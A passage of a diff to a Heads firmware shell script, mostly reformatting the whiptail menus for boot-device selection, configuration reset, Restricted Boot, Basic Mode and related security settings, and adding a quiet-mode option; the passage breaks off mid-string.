+ + [ "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ] && dynamic_config_options+=( + 't' ' Deactivate Platform Locking to permit OS write access to firmware' + ) + + dynamic_config_options+=( + 's' ' Save the current configuration to the running BIOS' + 'x' ' Return to Main Menu' + ) + + unset menu_choice + whiptail_type $BG_COLOR_MAIN_MENU --title "Config Management Menu" \ + --menu "This menu lets you change settings for the current BIOS session.\n\nAll changes will revert after a reboot,\n\nunless you also save them to the running BIOS." 0 80 10 \ + "${dynamic_config_options[@]}" \ + 2>/tmp/whiptail || recovery "GUI menu failed" + + menu_choice=$(cat /tmp/whiptail) + fi + + case "$menu_choice" in + "t") + unset CONFIG_FINALIZE_PLATFORM_LOCKING + replace_config /etc/config.user "CONFIG_FINALIZE_PLATFORM_LOCKING" "n" + combine_configs + . /tmp/config + ;; + "x") + exit 0 + ;; + "b") + CURRENT_OPTION="$(load_config_value CONFIG_BOOT_DEV)" + if ! fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist.txt; then + whiptail_error --title 'ERROR: No bootable devices found' \ + --msgbox " $ERROR\n\n" 0 80 + exit 1 + fi + # filter out extraneous options + >/tmp/boot_device_list.txt + for i in $(cat /tmp/disklist.txt); do + # remove block device from list if numeric partitions exist, since not bootable + DEV_NUM_PARTITIONS=$(($(ls -1 $i* | wc -l) - 1)) + if [ ${DEV_NUM_PARTITIONS} -eq 0 ]; then + echo $i >>/tmp/boot_device_list.txt + else + ls $i* | tail -${DEV_NUM_PARTITIONS} >>/tmp/boot_device_list.txt + fi + done + file_selector "/tmp/boot_device_list.txt" \ + "Choose the default /boot device.\n\n${CURRENT_OPTION:+\n\nCurrently set to }$CURRENT_OPTION." \ + "Boot Device Selection" + if [ "$FILE" == "" ]; then + return + else + SELECTED_FILE=$FILE + fi + + # unmount /boot if needed + if grep -q /boot /proc/mounts; then + umount /boot 2>/dev/null + fi + # mount newly selected /boot device + if ! mount -o ro $SELECTED_FILE /boot 2>/tmp/error; then + ERROR=$(cat /tmp/error) + whiptail_error --title 'ERROR: unable to mount /boot' \ + --msgbox " $ERROR\n\n" 0 80 + exit 1 + fi + + set_config /etc/config.user "CONFIG_BOOT_DEV" "$SELECTED_FILE" + combine_configs + + whiptail --title 'Config change successful' \ + --msgbox "The /boot device was successfully changed to $SELECTED_FILE" 0 80 + ;; + "s") + read_rom /tmp/config-gui.rom + + replace_rom_file /tmp/config-gui.rom "heads/initrd/etc/config.user" /etc/config.user + + if (whiptail --title 'Update ROM?' \ + --yesno "This will reflash your BIOS with the updated version\n\nDo you want to proceed?" 0 80); then + /bin/flash.sh /tmp/config-gui.rom + whiptail --title 'BIOS Updated Successfully' \ + --msgbox "BIOS updated successfully.\n\nIf your keys have changed, be sure to re-sign all files in /boot\nafter you reboot.\n\nPress Enter to reboot" 0 80 + /bin/reboot + else + exit 0 + fi + ;; + "r") + # prompt for confirmation + if (whiptail_warning --title 'Reset Configuration?' \ + --yesno "This will clear all GPG keys, clear boot signatures and checksums, \nreset the /boot device, clear/reset the TPM (if present), \nand reflash your BIOS with the cleaned configuration. - \n\nDo you want to proceed?" 0 80) then - read_rom /tmp/config-gui.rom - # clear local keyring - rm -rf /.gnupg/* || true - - # clear /boot signatures/checksums - detect_boot_device - mount -o remount,rw /boot - rm -f /boot/kexec* || true - mount -o remount,ro /boot - - # clear GPG keys and user settings - for i in `cbfs.sh -o /tmp/config-gui.rom -l | grep -e "heads/"`; do - cbfs.sh -o /tmp/config-gui.rom -d $i - done - # flash cleared ROM - /bin/flash.sh -c /tmp/config-gui.rom - - # reset TPM if present - if [ "$CONFIG_TPM" = "y" ]; then - /bin/tpm-reset - fi - whiptail --title 'Configuration Reset Updated Successfully' \ - --msgbox "Configuration reset and BIOS updated successfully.\n\nPress Enter to reboot" 0 80 - /bin/reboot - else - exit 0 - fi - ;; - "R" ) - CURRENT_OPTION="$(load_config_value CONFIG_ROOT_DEV)" - fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" > /tmp/disklist.txt - # filter out extraneous options - > /tmp/root_device_list.txt - for i in `cat /tmp/disklist.txt`; do - # remove block device from list if numeric partitions exist, since not bootable - DEV_NUM_PARTITIONS=$((`ls -1 $i* | wc -l`-1)) - if [ ${DEV_NUM_PARTITIONS} -eq 0 ]; then - echo $i >> /tmp/root_device_list.txt - else - ls $i* | tail -${DEV_NUM_PARTITIONS} >> /tmp/root_device_list.txt - fi - done - file_selector "/tmp/root_device_list.txt" \ - "Choose the default root device.${CURRENT_OPTION:+\n\nCurrently set to }$CURRENT_OPTION." \ - "Root Device Selection" - if [ "$FILE" == "" ]; then - break - else - SELECTED_FILE=$FILE - fi - - set_config /etc/config.user "CONFIG_ROOT_DEV" "$SELECTED_FILE" - combine_configs - - whiptail --title 'Config change successful' \ - --msgbox "The root device was successfully changed to $SELECTED_FILE" 0 80 - ;; - "D" ) - CURRENT_OPTION="$(load_config_value CONFIG_ROOT_DIRLIST)" - - # Separate from prior prompt history on the terminal with two blanks - echo -e "\n" - - if [ -n "$CURRENT_OPTION" ]; then - echo -e "The current list of directories to hash is $CURRENT_OPTION" - fi - echo -e "Enter the new list of directories separated by spaces:" - echo -e "(Press enter with the list empty to cancel)" - read -r NEW_CONFIG_ROOT_DIRLIST - - # strip any leading forward slashes - NEW_CONFIG_ROOT_DIRLIST=$(echo $NEW_CONFIG_ROOT_DIRLIST | sed -e 's/^\///;s/ \// /g') - - #check if list empty - if [ -z "$NEW_CONFIG_ROOT_DIRLIST" ] ; then - whiptail --title 'Config change canceled' \ - --msgbox "Root device directory change canceled by user" 0 80 - break - fi - - set_config /etc/config.user "CONFIG_ROOT_DIRLIST" "$NEW_CONFIG_ROOT_DIRLIST" - combine_configs - - whiptail --title 'Config change successful' \ - --msgbox "The root directories to hash was successfully changed to:\n$NEW_CONFIG_ROOT_DIRLIST" 0 80 - ;; - "B" ) - if [ "$CONFIG_ROOT_CHECK_AT_BOOT" != "y" ]; then - # Root device and directories must be set to enable this - if [ -z "$CONFIG_ROOT_DEV" ] || [ -z "$CONFIG_ROOT_DIRLIST" ]; then - whiptail_error --title 'Root Check Not Configured' \ - --msgbox "Set the root device and directories to hash before enabling this feature." 0 80 - elif (whiptail --title 'Enable Root Hash Check at Boot?' \ - --yesno "This will enable checking root hashes each time you boot. + \n\nDo you want to proceed?" 0 80); then + read_rom /tmp/config-gui.rom + # clear local keyring + rm -rf /.gnupg/* || true + + # clear /boot signatures/checksums + detect_boot_device + mount -o remount,rw /boot + rm -f /boot/kexec* || true + mount -o remount,ro /boot + + # clear GPG keys and user settings + for i in $(cbfs.sh -o /tmp/config-gui.rom -l | grep -e "heads/"); do + cbfs.sh -o /tmp/config-gui.rom -d $i + done + # flash cleared ROM + /bin/flash.sh -c /tmp/config-gui.rom + + # reset TPM if present + if [ "$CONFIG_TPM" = "y" ]; then + /bin/tpm-reset + fi + whiptail --title 'Configuration Reset Updated Successfully' \ + --msgbox "Configuration reset and BIOS updated successfully.\n\nPress Enter to reboot" 0 80 + /bin/reboot + else + exit 0 + fi + ;; + "R") + CURRENT_OPTION="$(load_config_value CONFIG_ROOT_DEV)" + fdisk -l | grep "Disk /dev/" | cut -f2 -d " " | cut -f1 -d ":" >/tmp/disklist.txt + # filter out extraneous options + >/tmp/root_device_list.txt + for i in $(cat /tmp/disklist.txt); do + # remove block device from list if numeric partitions exist, since not bootable + DEV_NUM_PARTITIONS=$(($(ls -1 $i* | wc -l) - 1)) + if [ ${DEV_NUM_PARTITIONS} -eq 0 ]; then + echo $i >>/tmp/root_device_list.txt + else + ls $i* | tail -${DEV_NUM_PARTITIONS} >>/tmp/root_device_list.txt + fi + done + file_selector "/tmp/root_device_list.txt" \ + "Choose the default root device.${CURRENT_OPTION:+\n\nCurrently set to }$CURRENT_OPTION." \ + "Root Device Selection" + if [ "$FILE" == "" ]; then + break + else + SELECTED_FILE=$FILE + fi + + set_config /etc/config.user "CONFIG_ROOT_DEV" "$SELECTED_FILE" + combine_configs + + whiptail --title 'Config change successful' \ + --msgbox "The root device was successfully changed to $SELECTED_FILE" 0 80 + ;; + "D") + CURRENT_OPTION="$(load_config_value CONFIG_ROOT_DIRLIST)" + + # Separate from prior prompt history on the terminal with two blanks + echo -e "\n" + + if [ -n "$CURRENT_OPTION" ]; then + echo -e "The current list of directories to hash is $CURRENT_OPTION" + fi + echo -e "Enter the new list of directories separated by spaces:" + echo -e "(Press enter with the list empty to cancel)" + read -r NEW_CONFIG_ROOT_DIRLIST + + # strip any leading forward slashes + NEW_CONFIG_ROOT_DIRLIST=$(echo $NEW_CONFIG_ROOT_DIRLIST | sed -e 's/^\///;s/ \// /g') + + #check if list empty + if [ -z "$NEW_CONFIG_ROOT_DIRLIST" ]; then + whiptail --title 'Config change canceled' \ + --msgbox "Root device directory change canceled by user" 0 80 + break + fi + + set_config /etc/config.user "CONFIG_ROOT_DIRLIST" "$NEW_CONFIG_ROOT_DIRLIST" + combine_configs + + whiptail --title 'Config change successful' \ + --msgbox "The root directories to hash was successfully changed to:\n$NEW_CONFIG_ROOT_DIRLIST" 0 80 + ;; + "B") + if [ "$CONFIG_ROOT_CHECK_AT_BOOT" != "y" ]; then + # Root device and directories must be set to enable this + if [ -z "$CONFIG_ROOT_DEV" ] || [ -z "$CONFIG_ROOT_DIRLIST" ]; then + whiptail_error --title 'Root Check Not Configured' \ + --msgbox "Set the root device and directories to hash before enabling this feature." 0 80 + elif (whiptail --title 'Enable Root Hash Check at Boot?' \ + --yesno "This will enable checking root hashes each time you boot. \nDepending on the directories you are checking, this might add \na minute or more to the boot time. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_ROOT_CHECK_AT_BOOT" "y" - - # check that root hash file exists - if [ ! -f ${ROOT_HASH_FILE} ]; then - if (whiptail --title 'Generate Root Hash File' \ - --yesno "\nNo root hash file exists. - \nWould you like to create the initial hash file now?" 0 80) then - root-hashes-gui.sh -n - fi - fi - - whiptail --title 'Config change successful' \ - --msgbox "The root device will be checked at each boot." 0 80 - - fi - else - if (whiptail --title 'Disable Root Hash Check at Boot?' \ - --yesno "This will disable checking root hashes each time you boot. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_ROOT_CHECK_AT_BOOT" "n" - - whiptail --title 'Config change successful' \ - --msgbox "The root device will not be checked at each boot." 0 80 - fi - fi - ;; - "P" ) - if [ "$CONFIG_RESTRICTED_BOOT" = "y" ]; then - whiptail_error --title 'Restricted Boot Active' \ - --msgbox "Disable Restricted Boot to enable Basic Mode." 0 80 - elif [ "$CONFIG_BASIC" != "y" ]; then - if (whiptail --title "Enable $CONFIG_BRAND_NAME Basic Mode?" \ - --yesno "This will remove all signature checking on the firmware + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_ROOT_CHECK_AT_BOOT" "y" + + # check that root hash file exists + if [ ! -f ${ROOT_HASH_FILE} ]; then + if (whiptail --title 'Generate Root Hash File' \ + --yesno "\nNo root hash file exists. + \nWould you like to create the initial hash file now?" 0 80); then + root-hashes-gui.sh -n + fi + fi + + whiptail --title 'Config change successful' \ + --msgbox "The root device will be checked at each boot." 0 80 + + fi + else + if (whiptail --title 'Disable Root Hash Check at Boot?' \ + --yesno "This will disable checking root hashes each time you boot. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_ROOT_CHECK_AT_BOOT" "n" + + whiptail --title 'Config change successful' \ + --msgbox "The root device will not be checked at each boot." 0 80 + fi + fi + ;; + "P") + if [ "$CONFIG_RESTRICTED_BOOT" = "y" ]; then + whiptail_error --title 'Restricted Boot Active' \ + --msgbox "Disable Restricted Boot to enable Basic Mode." 0 80 + elif [ "$CONFIG_BASIC" != "y" ]; then + if (whiptail --title "Enable $CONFIG_BRAND_NAME Basic Mode?" \ + --yesno "This will remove all signature checking on the firmware \nand boot files, and disable use of the Librem Key. - \n\nDo you want to proceed?" 0 80) then + \n\nDo you want to proceed?" 0 80); then - set_user_config "CONFIG_BASIC" "y" + set_user_config "CONFIG_BASIC" "y" - whiptail --title 'Config change successful' \ - --msgbox "$CONFIG_BRAND_NAME Basic mode enabled;\nsave the config change and reboot for it to go into effect." 0 80 + whiptail --title 'Config change successful' \ + --msgbox "$CONFIG_BRAND_NAME Basic mode enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title "Disable $CONFIG_BRAND_NAME Basic Mode?" \ - --yesno "This will enable all signature checking on the firmware + fi + else + if (whiptail --title "Disable $CONFIG_BRAND_NAME Basic Mode?" \ + --yesno "This will enable all signature checking on the firmware \nand boot files, and enable use of the Librem Key. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_BASIC" "n" - - whiptail --title 'Config change successful' \ - --msgbox "$CONFIG_BRAND_NAME Basic mode has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "L" ) - if [ "$CONFIG_RESTRICTED_BOOT" != "y" ]; then - if (whiptail --title 'Enable Restricted Boot Mode?' \ - --yesno "Restricted Boot allows booting: + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_BASIC" "n" + + whiptail --title 'Config change successful' \ + --msgbox "$CONFIG_BRAND_NAME Basic mode has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "L") + if [ "$CONFIG_RESTRICTED_BOOT" != "y" ]; then + if (whiptail --title 'Enable Restricted Boot Mode?' \ + --yesno "Restricted Boot allows booting: \n* Signed installed OS \n* Signed ISOs from USB \nAll other boot methods are blocked. Recovery console and firmware updates @@ -343,235 +348,258 @@ while true; do \nRestricted boot can be disabled at any time. This resets TOTP/HOTP so it \nis evident that Restricted Boot was disabled. \n - \nDo you want to proceed?" 0 80) then + \nDo you want to proceed?" 0 80); then - set_user_config "CONFIG_RESTRICTED_BOOT" "y" + set_user_config "CONFIG_RESTRICTED_BOOT" "y" - whiptail --title 'Config change successful' \ - --msgbox "Restricted Boot mode enabled;\nsave the config change and reboot for it to go into effect." 0 80 + whiptail --title 'Config change successful' \ + --msgbox "Restricted Boot mode enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Disable Restricted Boot Mode?' \ - --yesno "This will re-enable all boot methods, the recovery console, and firmware + fi + else + if (whiptail --title 'Disable Restricted Boot Mode?' \ + --yesno "This will re-enable all boot methods, the recovery console, and firmware \nupdates. \nThis will also erase the TOTP/HOTP secret. \nProceeding will automatically update the boot firmware and reboot! - \n\nDo you want to proceed?" 0 80) then - - # Wipe the TPM TOTP/HOTP secret before flashing. Otherwise, enabling - # Restricted Boot again might restore the firmware to an identical - # state, and there would be no evidence that it had been temporarily - # disabled. - if ! wipe-totp >/dev/null 2>/tmp/error; then - ERROR=$(tail -n 1 /tmp/error | fold -s) - whiptail_error --title 'ERROR: erasing TOTP secret' \ - --msgbox "Erasing TOTP Secret Failed\n\n${ERROR}" 0 80 - exit 1 - fi - - # We can't allow Restricted Boot to be disabled without flashing the - # firmware - this would allow the use of unrestricted mode without - # leaving evidence in the firmware. Disable it by flashing the new - # config directly. - FLASH_USER_CONFIG=/tmp/config-gui-config-user - cp /etc/config.user "$FLASH_USER_CONFIG" - set_config "$FLASH_USER_CONFIG" "CONFIG_RESTRICTED_BOOT" "n" - - read_rom /tmp/config-gui.rom - - replace_rom_file /tmp/config-gui.rom "heads/initrd/etc/config.user" "$FLASH_USER_CONFIG" - - /bin/flash.sh /tmp/config-gui.rom - whiptail --title 'BIOS Updated Successfully' \ - --msgbox "BIOS updated successfully.\n\nIf your keys have changed, be sure to re-sign all files in /boot\nafter you reboot.\n\nPress Enter to reboot" 0 80 - /bin/reboot - fi - fi - ;; - "J" ) - if [ "$CONFIG_USE_BLOB_JAIL" != "y" ]; then - if (whiptail --title 'Enable Firmware Blob Jail?' \ - --yesno "This will enable loading of firmware from flash on each boot - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_USE_BLOB_JAIL" "y" - - whiptail --title 'Config change successful' \ - --msgbox "Firmware Blob Jail use has been enabled;\nsave the config change and reboot for it to go into effect." 0 80 - - fi - else - if (whiptail --title 'Disable Firmware Blob Jail?' \ - --yesno "This will disable loading of firmware from flash on each boot. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_USE_BLOB_JAIL" "n" - - whiptail --title 'Config change successful' \ - --msgbox "Firmware Blob Jail use has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "M" ) - if [ -z "$CONFIG_AUTO_BOOT_TIMEOUT" ]; then - current_msg="Automatic boot is currently disabled." - elif [ "$CONFIG_AUTO_BOOT_TIMEOUT" = 1 ]; then - current_msg="Currently boots automatically after 1 second." - else - current_msg="Currently boots automatically after $CONFIG_AUTO_BOOT_TIMEOUT seconds." - fi - whiptail --title "Automatic Boot" \ - --menu "$CONFIG_BRAND_NAME can boot automatically. Select the amount of time to wait\nbefore booting.\n\n$current_msg" 0 80 10 \ - "0" "Don't boot automatically" \ - "1" "1 second" \ - "5" "5 seconds" \ - "10" "10 seconds" \ - "C" "Cancel" \ - 2>/tmp/whiptail - new_setting="$(cat /tmp/whiptail)" - if ! [ "$new_setting" = "C" ]; then - if [ "$new_setting" = "0" ]; then - new_setting= # Empty disables automatic boot - current_msg="$CONFIG_BRAND_NAME will not boot automatically." - elif [ "$new_setting" = "1" ]; then - current_msg="$CONFIG_BRAND_NAME will boot automatically after 1 second." - else - current_msg="$CONFIG_BRAND_NAME will boot automatically after $new_setting seconds." - fi - set_user_config "CONFIG_AUTO_BOOT_TIMEOUT" "$new_setting" - whiptail --title 'Config change successful' \ - --msgbox "$current_msg\nSave the config change and reboot for it to go into effect." 0 80 - fi - ;; - "A" ) - if [ "$CONFIG_BASIC_NO_AUTOMATIC_DEFAULT" != "y" ]; then - if (whiptail --title 'Disable automatic default boot?' \ - --yesno "You will need to select a default boot option. + \n\nDo you want to proceed?" 0 80); then + + # Wipe the TPM TOTP/HOTP secret before flashing. Otherwise, enabling + # Restricted Boot again might restore the firmware to an identical + # state, and there would be no evidence that it had been temporarily + # disabled. + if ! wipe-totp >/dev/null 2>/tmp/error; then + ERROR=$(tail -n 1 /tmp/error | fold -s) + whiptail_error --title 'ERROR: erasing TOTP secret' \ + --msgbox "Erasing TOTP Secret Failed\n\n${ERROR}" 0 80 + exit 1 + fi + + # We can't allow Restricted Boot to be disabled without flashing the + # firmware - this would allow the use of unrestricted mode without + # leaving evidence in the firmware. Disable it by flashing the new + # config directly. + FLASH_USER_CONFIG=/tmp/config-gui-config-user + cp /etc/config.user "$FLASH_USER_CONFIG" + set_config "$FLASH_USER_CONFIG" "CONFIG_RESTRICTED_BOOT" "n" + + read_rom /tmp/config-gui.rom + + replace_rom_file /tmp/config-gui.rom "heads/initrd/etc/config.user" "$FLASH_USER_CONFIG" + + /bin/flash.sh /tmp/config-gui.rom + whiptail --title 'BIOS Updated Successfully' \ + --msgbox "BIOS updated successfully.\n\nIf your keys have changed, be sure to re-sign all files in /boot\nafter you reboot.\n\nPress Enter to reboot" 0 80 + /bin/reboot + fi + fi + ;; + "J") + if [ "$CONFIG_USE_BLOB_JAIL" != "y" ]; then + if (whiptail --title 'Enable Firmware Blob Jail?' \ + --yesno "This will enable loading of firmware from flash on each boot + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_USE_BLOB_JAIL" "y" + + whiptail --title 'Config change successful' \ + --msgbox "Firmware Blob Jail use has been enabled;\nsave the config change and reboot for it to go into effect." 0 80 + + fi + else + if (whiptail --title 'Disable Firmware Blob Jail?' \ + --yesno "This will disable loading of firmware from flash on each boot. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_USE_BLOB_JAIL" "n" + + whiptail --title 'Config change successful' \ + --msgbox "Firmware Blob Jail use has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "M") + if [ -z "$CONFIG_AUTO_BOOT_TIMEOUT" ]; then + current_msg="Automatic boot is currently disabled." + elif [ "$CONFIG_AUTO_BOOT_TIMEOUT" = 1 ]; then + current_msg="Currently boots automatically after 1 second." + else + current_msg="Currently boots automatically after $CONFIG_AUTO_BOOT_TIMEOUT seconds." + fi + whiptail --title "Automatic Boot" \ + --menu "$CONFIG_BRAND_NAME can boot automatically. Select the amount of time to wait\nbefore booting.\n\n$current_msg" 0 80 10 \ + "0" "Don't boot automatically" \ + "1" "1 second" \ + "5" "5 seconds" \ + "10" "10 seconds" \ + "C" "Cancel" \ + 2>/tmp/whiptail + new_setting="$(cat /tmp/whiptail)" + if ! [ "$new_setting" = "C" ]; then + if [ "$new_setting" = "0" ]; then + new_setting= # Empty disables automatic boot + current_msg="$CONFIG_BRAND_NAME will not boot automatically." + elif [ "$new_setting" = "1" ]; then + current_msg="$CONFIG_BRAND_NAME will boot automatically after 1 second." + else + current_msg="$CONFIG_BRAND_NAME will boot automatically after $new_setting seconds." + fi + set_user_config "CONFIG_AUTO_BOOT_TIMEOUT" "$new_setting" + whiptail --title 'Config change successful' \ + --msgbox "$current_msg\nSave the config change and reboot for it to go into effect." 0 80 + fi + ;; + "A") + if [ "$CONFIG_BASIC_NO_AUTOMATIC_DEFAULT" != "y" ]; then + if (whiptail --title 'Disable automatic default boot?' \ + --yesno "You will need to select a default boot option. \nIf the boot options are changed, such as for an OS update, \nyou will be prompted to select a new default. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_BASIC_NO_AUTOMATIC_DEFAULT" "y" - - whiptail --title 'Config change successful' \ - --msgbox "Automatic default boot disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Enable automatic default boot?' \ - --yesno "The first boot option will be used automatically. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_BASIC_NO_AUTOMATIC_DEFAULT" "n" - - whiptail --title 'Config change successful' \ - --msgbox "Automatic default boot enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "U" ) - if [ "$CONFIG_BASIC_USB_AUTOBOOT" != "y" ]; then - if (whiptail --title 'Enable USB automatic boot?' \ - --yesno "During boot, an attached bootable USB disk will be booted + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_BASIC_NO_AUTOMATIC_DEFAULT" "y" + + whiptail --title 'Config change successful' \ + --msgbox "Automatic default boot disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + else + if (whiptail --title 'Enable automatic default boot?' \ + --yesno "The first boot option will be used automatically. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_BASIC_NO_AUTOMATIC_DEFAULT" "n" + + whiptail --title 'Config change successful' \ + --msgbox "Automatic default boot enabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "U") + if [ "$CONFIG_BASIC_USB_AUTOBOOT" != "y" ]; then + if (whiptail --title 'Enable USB automatic boot?' \ + --yesno "During boot, an attached bootable USB disk will be booted \nby default instead of the installed operating system. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_BASIC_USB_AUTOBOOT" "y" - - whiptail --title 'Config change successful' \ - --msgbox "USB automatic boot enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Disable USB automatic boot?' \ - --yesno "USB disks will no longer be booted by default. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_BASIC_USB_AUTOBOOT" "n" - - whiptail --title 'Config change successful' \ - --msgbox "USB automatic boot disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "N" ) - if [ "$CONFIG_AUTOMATIC_POWERON" != "y" ]; then - if (whiptail --title 'Enable automatic power-on?' \ - --yesno "The system will boot automatically when power is applied. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_AUTOMATIC_POWERON" "y" - - whiptail --title 'Config change successful' \ - --msgbox "Automatic power-on enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Disable automatic power-on?' \ - --yesno "The system will stay off when power is applied. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_AUTOMATIC_POWERON" "n" - - # Disable the EC BRAM setting too, otherwise it persists until - # manually disabled. On the off chance the user does not actually - # flash this change, we'll enable it again during boot. - set_ec_poweron.sh n - - whiptail --title 'Config change successful' \ - --msgbox "Automatic power-on disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "K" ) - if [ "$CONFIG_USER_USB_KEYBOARD" != "y" ]; then - if (whiptail --title 'Enable USB Keyboard?' \ - --yesno "USB keyboards will be usable in $CONFIG_BRAND_NAME. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_BASIC_USB_AUTOBOOT" "y" + + whiptail --title 'Config change successful' \ + --msgbox "USB automatic boot enabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + else + if (whiptail --title 'Disable USB automatic boot?' \ + --yesno "USB disks will no longer be booted by default. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_BASIC_USB_AUTOBOOT" "n" + + whiptail --title 'Config change successful' \ + --msgbox "USB automatic boot disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "N") + if [ "$CONFIG_AUTOMATIC_POWERON" != "y" ]; then + if (whiptail --title 'Enable automatic power-on?' \ + --yesno "The system will boot automatically when power is applied. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_AUTOMATIC_POWERON" "y" + + whiptail --title 'Config change successful' \ + --msgbox "Automatic power-on enabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + else + if (whiptail --title 'Disable automatic power-on?' \ + --yesno "The system will stay off when power is applied. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_AUTOMATIC_POWERON" "n" + + # Disable the EC BRAM setting too, otherwise it persists until + # manually disabled. On the off chance the user does not actually + # flash this change, we'll enable it again during boot. + set_ec_poweron.sh n + + whiptail --title 'Config change successful' \ + --msgbox "Automatic power-on disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "K") + if [ "$CONFIG_USER_USB_KEYBOARD" != "y" ]; then + if (whiptail --title 'Enable USB Keyboard?' \ + --yesno "USB keyboards will be usable in $CONFIG_BRAND_NAME. \n\nEnabling USB keyboards could allow a compromised USB device to control \n$CONFIG_BRAND_NAME. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_USER_USB_KEYBOARD" "y" - - whiptail --title 'Config change successful' \ - --msgbox "USB Keyboard support has been enabled;\nsave the config change and reboot for it to go into effect." 0 80 - - fi - else - if (whiptail --title 'Disable USB Keyboard?' \ - --yesno "Only the built-in keyboard will be usable in $CONFIG_BRAND_NAME. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_USER_USB_KEYBOARD" "n" - - whiptail --title 'Config change successful' \ - --msgbox "USB Keyboard support has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - ;; - "Z" ) - if [ "$CONFIG_DEBUG_OUTPUT" != "y" ]; then - if (whiptail --title 'Enable Debugging and Tracing output?' \ - --yesno "This will enable DEBUG and TRACE output from scripts. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_DEBUG_OUTPUT" "y" - set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "y" - - whiptail --title 'Config change successful' \ - --msgbox "Debugging and Tracing output enabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - else - if (whiptail --title 'Disable Enable Debugging and Tracing output?' \ - --yesno "This will disable DEBUG and TRACE output from scripts. - \n\nDo you want to proceed?" 0 80) then - - set_user_config "CONFIG_DEBUG_OUTPUT" "n" - set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "n" - - whiptail --title 'Config change successful' \ - --msgbox "Debugging and Tracing output disabled;\nsave the config change and reboot for it to go into effect." 0 80 - fi - fi - esac - + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_USER_USB_KEYBOARD" "y" + + whiptail --title 'Config change successful' \ + --msgbox "USB Keyboard support has been enabled;\nsave the config change and reboot for it to go into effect." 0 80 + + fi + else + if (whiptail --title 'Disable USB Keyboard?' \ + --yesno "Only the built-in keyboard will be usable in $CONFIG_BRAND_NAME. + \n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_USER_USB_KEYBOARD" "n" + + whiptail --title 'Config change successful' \ + --msgbox "USB Keyboard support has been disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "Z") + if [ "$CONFIG_DEBUG_OUTPUT" != "y" ]; then + if (whiptail --title 'Enable Debugging and Tracing output?' \ + --yesno "This will enable DEBUG and TRACE output from scripts.\n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_DEBUG_OUTPUT" "y" + set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "y" + #DEBUG+TRACE is incompatible with QUIET mode, turn it off + set_user_config "CONFIG_QUIET_MODE" "n" + + whiptail --title 'Config change successful' \ + --msgbox "Debugging and Tracing output enabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + else + if (whiptail --title 'Disable Enable Debugging and Tracing output?' \ + --yesno "This will disable DEBUG and TRACE output from scripts.\n\nDo you want to proceed?" 0 80); then + + set_user_config "CONFIG_DEBUG_OUTPUT" "n" + set_user_config "CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT" "n" + + whiptail --title 'Config change successful' \ + --msgbox "Debugging and Tracing output disabled;\nsave the config change and reboot for it to go into effect." 0 80 + fi + fi + ;; + "Q") + #Quiet mode: turn off/on console technical output + if [ "$CONFIG_QUIET_MODE" != "y" ]; then + if (whiptail --title 'Enable Quiet mode?' \ + --yesno "This will enable QUIET mode, which 